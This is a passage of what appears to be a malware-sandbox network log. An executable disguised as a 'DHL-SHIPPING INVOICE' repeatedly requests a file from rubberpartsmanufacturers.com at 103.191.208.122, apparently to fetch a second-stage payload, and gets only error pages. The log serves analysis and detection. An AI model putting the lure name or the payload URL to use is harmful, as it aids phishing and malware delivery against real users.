2024-10-17 08:48:53 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	57088	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:56 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:57 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:56 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:57 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	57089	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:58 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:48:58 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:58 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:48:58 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	57090	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:48:59 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:00 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:48:59 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:00 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	57091	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:01 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:01 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:01 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:01 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	57092	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:02 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:03 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:02 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:03 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	57093	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:04 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:04 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:04 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:04 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	57094	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:05 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:06 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:06 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:06 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	57095	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:07 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:07 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:07 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:07 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	57096	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:08 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:09 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:09 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:09 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	57097	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:10 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:10 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:10 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:10 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	57098	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:11 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:12 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:12 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:12 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	57099	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:13 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	57100	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:14 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:15 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:14 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:15 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	57101	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:16 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:16 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:16 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:16 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	57102	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:17 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:17 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:17 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:49:17 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	57103	103.191.208.122	443	7260	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:49:19 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:49:19 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:49:19 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
